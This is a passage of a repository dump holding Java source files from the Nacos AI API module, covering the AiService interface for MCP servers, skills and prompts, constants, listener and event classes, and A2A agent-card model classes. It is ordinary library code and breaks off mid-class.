    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai;\n\nimport com.alibaba.nacos.api.exception.NacosException;\n\nimport java.lang.reflect.Constructor;\nimport java.util.Properties;\n\n/**\n * Nacos AI client factory.\n *\n * @author xiweng.yy\n */\npublic class AiFactory {\n    \n    /**\n     * Create a new AI service.\n     *\n     * @param properties ai service properties\n     * @return new ai service\n     * @throws NacosException nacos exception\n     */\n    public static AiService createAiService(Properties properties) throws NacosException {\n        try {\n            Class<?> driverImplClass = Class.forName(\"com.alibaba.nacos.client.ai.NacosAiService\");\n            Constructor constructor = driverImplClass.getConstructor(Properties.class);\n            return (AiService) constructor.newInstance(properties);\n        } catch (Throwable e) {\n            throw new NacosException(NacosException.CLIENT_INVALID_PARAM, e);\n        }\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/AiService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai;\n\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosMcpServerListener;\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosPromptListener;\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosSkillListener;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.ai.model.prompt.Prompt;\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.api.exception.NacosException;\n\n/**\n * Nacos AI client service interface.\n *\n * @author xiweng.yy\n */\npublic interface AiService extends A2aService {\n    \n    /**\n     * Get mcp server detail info for latest version.\n     *\n     * @param mcpName name of mcp server\n     * @return detail information of MCP server\n     * @throws NacosException if request parameter is invalid or mcp server not found or handle error\n     */\n    default McpServerDetailInfo getMcpServer(String mcpName) throws NacosException {\n        return getMcpServer(mcpName, null);\n    }\n    \n    /**\n     * Get mcp server detail info.\n     *\n     * @param mcpName name of MCP name\n     * @param version version of MCP, if null, will get the latest version\n     * @return detail information of MCP server\n     * @throws NacosException if request parameter is invalid or mcp server not found or handle error\n     */\n    McpServerDetailInfo getMcpServer(String mcpName, String version) throws NacosException;\n    \n    /**\n     * Release new mcp server or release new version of exist mcp server request.\n     *\n     * <p>\n     *     If mcp server is not exist, will create an new mcp server with parameter specification.\n     *     If mcp server is exist, but version in specification is new one, request will create a new version of mcp server.\n     *     If mcp server is exist, and version in specification is exist, request will do nothing.\n     * </p>\n     *\n     * @param serverSpecification mcp server specification\n     * @param toolSpecification   mcp server tool specification\n     * @return mcp id\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    default String releaseMcpServer(McpServerBasicInfo serverSpecification, McpToolSpecification toolSpecification)\n            throws NacosException {\n        return releaseMcpServer(serverSpecification, toolSpecification, null);\n    }\n    \n    /**\n     * Release new mcp server or release new version of exist mcp server request.\n     *\n     * <p>\n     *     If mcp server is not exist, will create an new mcp server with parameter specification.\n     *     If mcp server is exist, but version in specification is new one, request will create a new version of mcp server.\n     *     If mcp server is exist, and version in specification is exist, request will do nothing.\n     * </p>\n     *\n     * @param serverSpecification mcp server specification\n     * @param toolSpecification   mcp server tool specification\n     * @param endpointSpecification mcp server endpoint specification, optional, if null, will create ref service auto.\n     * @return mcp id\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    String releaseMcpServer(McpServerBasicInfo serverSpecification, McpToolSpecification toolSpecification,\n            McpEndpointSpec endpointSpecification) throws NacosException;\n    \n    /**\n     * Register an endpoint into target mcp server for all version.\n     *\n     * @param mcpName   name of mcp server\n     * @param address   address of endpoint\n     * @param port      port of endpoint\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    default void registerMcpServerEndpoint(String mcpName, String address, int port) throws NacosException {\n        registerMcpServerEndpoint(mcpName, address, port, null);\n    }\n    \n    /**\n     * Register an endpoint into target mcp server for target version.\n     *\n     * @param mcpName   name of mcp server\n     * @param address   address of endpoint\n     * @param port      port of endpoint\n     * @param version   version of mcp server\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    void registerMcpServerEndpoint(String mcpName, String address, int port, String version) throws NacosException;\n    \n    /**\n     * Deregister an endpoint from target mcp server for any version.\n     *\n     * <p>\n     *     The registered endpoint must be registered by this client service.\n     *     If the registered endpoint is registered by other client service, the endpoint will fail to deregister.\n     * </p>\n     *\n     * @param mcpName   name of mcp server\n     * @param address   address of endpoint\n     * @param port      port of endpoint\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    void deregisterMcpServerEndpoint(String mcpName, String address, int port) throws NacosException;\n    \n    /**\n     * Subscribe mcp server.\n     *\n     * @param mcpName           name of mcp server\n     * @param mcpServerListener listener of mcp server, callback when mcp server is changed\n     * @return The detail info of mcp server at current time\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    default McpServerDetailInfo subscribeMcpServer(String mcpName, AbstractNacosMcpServerListener mcpServerListener)\n            throws NacosException {\n        return subscribeMcpServer(mcpName, null, mcpServerListener);\n    }\n    \n    /**\n     * Subscribe mcp server.\n     *\n     * @param mcpName           name of mcp server\n     * @param version           version of mcp server\n     * @param mcpServerListener listener of mcp server, callback when mcp server is changed\n     * @return The detail info of mcp server at current time, nullable if agent card not found\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    McpServerDetailInfo subscribeMcpServer(String mcpName, String version,\n            AbstractNacosMcpServerListener mcpServerListener) throws NacosException;\n    \n    /**\n     * Un-subscribe mcp server.\n     *\n     * @param mcpName           name of mcp server\n     * @param mcpServerListener listener of mcp server\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    default void unsubscribeMcpServer(String mcpName, AbstractNacosMcpServerListener mcpServerListener)\n            throws NacosException {\n        unsubscribeMcpServer(mcpName, null, mcpServerListener);\n    }\n    \n    /**\n     * Un-subscribe mcp server.\n     *\n     * @param mcpName           name of mcp server\n     * @param version           version of mcp server\n     * @param mcpServerListener listener of mcp server\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    void unsubscribeMcpServer(String mcpName, String version, AbstractNacosMcpServerListener mcpServerListener)\n            throws NacosException;\n    \n    /**\n     * Load skill by skill name.\n     * \n     * <p>\n     * This method will query the skill main configuration and all resource configurations,\n     * then assemble them into a complete Skill object.\n     * </p>\n     *\n     * @param skillName skill name (unique identifier)\n     * @return complete Skill object with all resources\n     * @throws NacosException if skill not found or query error\n     */\n    Skill loadSkill(String skillName) throws NacosException;\n    \n    /**\n     * Subscribe skill.\n     *\n     * @param skillName       name of skill\n     * @param skillListener   listener of skill, callback when skill configuration is changed\n     * @return The skill object at current time, nullable if skill not found\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    Skill subscribeSkill(String skillName, AbstractNacosSkillListener skillListener) throws NacosException;\n    \n    /**\n     * Un-subscribe skill.\n     *\n     * @param skillName       name of skill\n     * @param skillListener   listener of skill\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    void unsubscribeSkill(String skillName, AbstractNacosSkillListener skillListener) throws NacosException;\n    \n    // ==================== Prompt Management APIs ====================\n    \n    /**\n     * Get prompt by prompt key.\n     *\n     * @param promptKey prompt key (unique identifier)\n     * @return prompt object with current version\n     * @throws NacosException if prompt not found or query error\n     */\n    Prompt getPrompt(String promptKey) throws NacosException;\n    \n    /**\n     * Get prompt by prompt key and target version.\n     *\n     * @param promptKey prompt key (unique identifier)\n     * @param version target prompt version, if null, will get latest version\n     * @return prompt object with target version\n     * @throws NacosException if prompt not found or query error\n     */\n    Prompt getPromptByVersion(String promptKey, String version) throws NacosException;\n    \n    /**\n     * Get prompt by prompt key and target label.\n     *\n     * @param promptKey prompt key (unique identifier)\n     * @param label target prompt label\n     * @return prompt object with target label\n     * @throws NacosException if prompt not found or query error\n     */\n    Prompt getPromptByLabel(String promptKey, String label) throws NacosException;\n    \n    /**\n     * Subscribe prompt changes.\n     *\n     * @param promptKey      prompt key\n     * @param version        target prompt version, optional\n     * @param label          target prompt label, optional\n     * @param promptListener listener for prompt changes\n     * @return current prompt object, may be null if prompt not found\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    Prompt subscribePrompt(String promptKey, String version, String label,\n            AbstractNacosPromptListener promptListener) throws NacosException;\n    \n    /**\n     * Un-subscribe prompt changes.\n     *\n     * @param promptKey      prompt key\n     * @param version        target prompt version, optional\n     * @param label          target prompt label, optional\n     * @param promptListener listener for prompt changes\n     * @throws NacosException if request parameter is invalid or handle error\n     */\n    void unsubscribePrompt(String promptKey, String version, String label,\n            AbstractNacosPromptListener promptListener) throws NacosException;\n    \n    /**\n     * Shutdown the AI service and close resources.\n     *\n     * @throws NacosException exception.\n     */\n    void shutdown() throws NacosException;\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/constant/AiConstants.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.constant;\n\nimport com.alibaba.nacos.api.ai.model.mcp.registry.McpServerStatusEnum;\n\n/**\n * Nacos Ai contants.\n *\n * @author xiweng.yy\n */\npublic class AiConstants {\n    \n    public static class Mcp {\n        \n        public static final String MCP_DEFAULT_NAMESPACE = \"public\";\n        \n        public static final String MCP_PROTOCOL_STDIO = \"stdio\";\n        \n        public static final String MCP_PROTOCOL_SSE = \"mcp-sse\";\n        \n        public static final String MCP_PROTOCOL_STREAMABLE = \"mcp-streamable\";\n        \n        public static final String MCP_PROTOCOL_HTTP = \"http\";\n        \n        public static final String MCP_PROTOCOL_DUBBO = \"dubbo\";\n        \n        public static final String MCP_ENDPOINT_TYPE_REF = \"REF\";\n        \n        public static final String MCP_ENDPOINT_TYPE_DIRECT = \"DIRECT\";\n        \n        public static final String MCP_FRONT_ENDPOINT_TYPE_TO_BACK = \"BACKEND\";\n        \n        public static final String MCP_STATUS_ACTIVE = McpServerStatusEnum.ACTIVE.getName();\n        \n        public static final String MCP_STATUS_DEPRECATED = McpServerStatusEnum.DEPRECATED.getName();\n\n        public static final String MCP_STATUS_DELETED = McpServerStatusEnum.DELETED.getName();\n        \n        public static final String OFFICIAL_TRANSPORT_SSE = \"sse\";\n        \n        public static final String OFFICIAL_TRANSPORT_STREAMABLE = \"streamable-http\";\n    }\n    \n    public static final String AI_TRANSPORT_MODE = \"nacosAiTransportMode\";\n    \n    public static final String AI_TRANSPORT_MODE_GRPC = \"grpc\";\n    \n    public static final String AI_TRANSPORT_MODE_HTTP = \"http\";\n    \n    public static final String AI_REQUEST_TIMEOUT = \"nacosAiRequestTimeout\";\n    \n    public static final String AI_MCP_SERVER_CACHE_UPDATE_INTERVAL = \"nacosAiMcpServerCacheUpdateInterval\";\n    \n    public static final String AI_AGENT_CARD_CACHE_UPDATE_INTERVAL = \"nacosAiAgentCardCacheUpdateInterval\";\n    \n    public static final String AI_PROMPT_CACHE_UPDATE_INTERVAL = \"nacosAiPromptCacheUpdateInterval\";\n    \n    public static final long DEFAULT_AI_CACHE_UPDATE_INTERVAL = 10000L;\n    \n    public static class A2a {\n        \n        public static final String A2A_DEFAULT_NAMESPACE = \"public\";\n        \n        /**\n         * Default endpoint type using `url` field of agent card directly when discovery\n         * a2a agent.\n         */\n        public static final String A2A_ENDPOINT_TYPE_URL = \"URL\";\n        \n        /**\n         * Default endpoint type using `backend` service of agent when discovery a2a\n         * agent.\n         */\n        public static final String A2A_ENDPOINT_TYPE_SERVICE = \"SERVICE\";\n        \n        public static final String A2A_ENDPOINT_DEFAULT_TRANSPORT = \"JSONRPC\";\n        \n        public static final String A2A_ENDPOINT_DEFAULT_PROTOCOL = \"HTTP\";\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/listener/AbstractNacosAgentCardListener.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.listener;\n\n/**\n * Nacos AI module agent card event lister.\n *\n * @author xiweng.yy\n */\npublic abstract class AbstractNacosAgentCardListener implements NacosAiListener<NacosAgentCardEvent> {\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/listener/AbstractNacosMcpServerListener.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.listener;\n\n/**\n * Nacos AI module mcp server event lister.\n *\n * @author xiweng.yy\n */\npublic abstract class AbstractNacosMcpServerListener implements NacosAiListener<NacosMcpServerEvent> {\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/listener/AbstractNacosPromptListener.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.listener;\n\n/**\n * Nacos AI module prompt event listener.\n *\n * <p>Extend this class to receive prompt change notifications.</p>\n *\n * @author nacos\n */\npublic abstract class AbstractNacosPromptListener implements NacosAiListener<NacosPromptEvent> {\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/listener/AbstractNacosSkillListener.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.listener;\n\n/**\n * Nacos AI module skill event listener.\n *\n * @author nacos\n */\npublic abstract class AbstractNacosSkillListener implements NacosAiListener<NacosSkillEvent> {\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/listener/NacosAgentCardEvent.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.listener;\n\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\n\n/**\n * Nacos AI Module agent card event.\n *\n * @author xiweng.yy\n */\npublic class NacosAgentCardEvent implements NacosAiEvent {\n    \n    private final String agentName;\n    \n    private final AgentCardDetailInfo agentCard;\n    \n    public NacosAgentCardEvent(AgentCardDetailInfo agentCard) {\n        this.agentName = agentCard.getName();\n        this.agentCard = agentCard;\n    }\n    \n    public String getAgentName() {\n        return agentName;\n    }\n    \n    public AgentCardDetailInfo getAgentCard() {\n        return agentCard;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/listener/NacosAiEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.listener;\n\n/**\n * Nacos AI module listener event.\n *\n * @author nkorange\n */\npublic interface NacosAiEvent {\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/listener/NacosAiListener.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.listener;\n\nimport java.util.concurrent.Executor;\n\n/**\n * Nacos AI module event Listener.\n *\n * @author Nacos\n */\npublic interface NacosAiListener<E extends NacosAiEvent> {\n    \n    /**\n     * callback event.\n     *\n     * @param event event\n     */\n    void onEvent(E event);\n    \n    /**\n     * Get executor to do callback this listener. If return null, use default executor to call this listener.\n     *\n     * @return Executor\n     */\n    default Executor getExecutor() {\n        return null;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/listener/NacosMcpServerEvent.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.listener;\n\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\n\n/**\n * Nacos AI module event for mcp server.\n *\n * @author xiweng.yy\n */\npublic class NacosMcpServerEvent implements NacosAiEvent {\n    \n    private final String mcpId;\n    \n    private final String namespaceId;\n    \n    private final String mcpName;\n    \n    private final McpServerDetailInfo mcpServerDetailInfo;\n    \n    public NacosMcpServerEvent(McpServerDetailInfo mcpServerDetailInfo) {\n        this.mcpServerDetailInfo = mcpServerDetailInfo;\n        this.mcpId = mcpServerDetailInfo.getId();\n        this.namespaceId = mcpServerDetailInfo.getNamespaceId();\n        this.mcpName = mcpServerDetailInfo.getName();\n    }\n    \n    public String getMcpId() {\n        return mcpId;\n    }\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public String getMcpName() {\n        return mcpName;\n    }\n    \n    public McpServerDetailInfo getMcpServerDetailInfo() {\n        return mcpServerDetailInfo;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/listener/NacosPromptEvent.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.listener;\n\nimport com.alibaba.nacos.api.ai.model.prompt.Prompt;\n\n/**\n * Nacos AI Module prompt event.\n *\n * <p>This event is triggered when a prompt configuration changes.</p>\n *\n * @author nacos\n */\npublic class NacosPromptEvent implements NacosAiEvent {\n    \n    private final String promptKey;\n    \n    private final Prompt prompt;\n    \n    public NacosPromptEvent(String promptKey, Prompt prompt) {\n        this.promptKey = promptKey;\n        this.prompt = prompt;\n    }\n    \n    /**\n     * Get the prompt key.\n     *\n     * @return prompt key\n     */\n    public String getPromptKey() {\n        return promptKey;\n    }\n    \n    /**\n     * Get the prompt object.\n     *\n     * @return prompt object, may be null if prompt is deleted\n     */\n    public Prompt getPrompt() {\n        return prompt;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/listener/NacosSkillEvent.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.listener;\n\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\n\n/**\n * Nacos AI Module skill event.\n *\n * @author nacos\n */\npublic class NacosSkillEvent implements NacosAiEvent {\n    \n    private final String skillName;\n    \n    private final Skill skill;\n    \n    public NacosSkillEvent(String skillName, Skill skill) {\n        this.skillName = skillName;\n        this.skill = skill;\n    }\n    \n    public String getSkillName() {\n        return skillName;\n    }\n    \n    public Skill getSkill() {\n        return skill;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/a2a/AgentAuthentication.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport java.util.List;\nimport java.util.Objects;\n\n/**\n * AgentAuthentication.\n *\n * @author KiteSoar\n */\npublic class AgentAuthentication {\n    \n    private List<String> schemes;\n    \n    private String credentials;\n    \n    public List<String> getSchemes() {\n        return schemes;\n    }\n    \n    public void setSchemes(List<String> schemes) {\n        this.schemes = schemes;\n    }\n    \n    public String getCredentials() {\n        return credentials;\n    }\n    \n    public void setCredentials(String credentials) {\n        this.credentials = credentials;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        AgentAuthentication that = (AgentAuthentication) o;\n        return Objects.equals(schemes, that.schemes) && Objects.equals(credentials, that.credentials);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(schemes, credentials);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/a2a/AgentCapabilities.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport java.util.List;\nimport java.util.Objects;\n\n/**\n * AgentCapabilities.\n *\n * @author KiteSoar\n */\npublic class AgentCapabilities {\n    \n    private Boolean streaming;\n    \n    private Boolean pushNotifications;\n    \n    private Boolean stateTransitionHistory;\n    \n    private List<AgentExtension> extensions;\n    \n    public Boolean getStreaming() {\n        return streaming;\n    }\n    \n    public void setStreaming(Boolean streaming) {\n        this.streaming = streaming;\n    }\n    \n    public Boolean getPushNotifications() {\n        return pushNotifications;\n    }\n    \n    public void setPushNotifications(Boolean pushNotifications) {\n        this.pushNotifications = pushNotifications;\n    }\n    \n    public Boolean getStateTransitionHistory() {\n        return stateTransitionHistory;\n    }\n    \n    public void setStateTransitionHistory(Boolean stateTransitionHistory) {\n        this.stateTransitionHistory = stateTransitionHistory;\n    }\n    \n    public List<AgentExtension> getExtensions() {\n        return extensions;\n    }\n    \n    public void setExtensions(List<AgentExtension> extensions) {\n        this.extensions = extensions;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        AgentCapabilities that = (AgentCapabilities) o;\n        return Objects.equals(streaming, that.streaming) && Objects.equals(pushNotifications, that.pushNotifications)\n                && Objects.equals(stateTransitionHistory, that.stateTransitionHistory) && Objects.equals(extensions,\n                that.extensions);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(streaming, pushNotifications, stateTransitionHistory, extensions);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/ai/model/a2a/AgentCard.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Objects;\n\n/**\n * AgentCard.\n *\n * @author KiteSoar\n */\npublic class AgentCard extends AgentCardBasicInfo {\n    \n    private String url;\n    \n    private String preferredTransport;\n    \n    private List<AgentInterface> additionalInterfaces;\n    \n    private AgentProvider provider;\n    \n    private String documentationUrl;\n    \n    private Map<String, SecurityScheme> securitySchemes;\n    \n    private List<Map<String, List<String>>> security;\n    \n    private List<String> defaultInputModes;\n    \n    private List<String> defaultOutputModes;\n    \n    private Boolean supportsAuthenticatedExtendedCard;\n    \n    public String getUrl() {\n        return url;\n    }\n    \n    public void setUrl(String url) {\n        this.url = url;\n    }\n    \n    public String getPreferredTransport() {\n        return preferredTransport;\n    }\n    \n    public void setPreferredTransport(String preferredTransport) {\n        this.preferredTransport = preferredTransport;\n    }\n    \n    public List<AgentInterface> getAdditionalInterfaces() {\n        return additionalInterfaces;\n    }\n    \n    public void setAdditionalInterfaces(List<AgentInterface> additionalInterfaces) {\n        this.additionalInterfaces = additionalInterfaces;\n    }\n    \n    public AgentProvider getProvider() {\n        return provider;\n    }\n    \n    public void setProvider(AgentProvider provider) {\n        this.provider = provider;\n    }\n    \n    public String getDocumentationUrl() {\n        return documentationUrl;\n    }\n    \n    public void setDocumentationUrl(String documentationUrl) {\n        this.documentationUrl = documentationUrl;\n    }\n    \n    public Map<String, SecurityScheme> getSecuritySchemes() {\n        return securitySchemes;\n    }\n    \n    public void setSecuritySchemes(Map<String, SecurityScheme> securitySchemes) {\n        this.securitySchemes = securitySchemes;\n    }\n    \n    public List<Map<String, List<String>>> getSecurity() {\n        return security;\n    }\n    \n    public void setSecurity(List<Map<String, List<String>>> security) {\n        this.security = security;\n    }\n    \n    public List<String> getDefaultInputModes() {\n        return 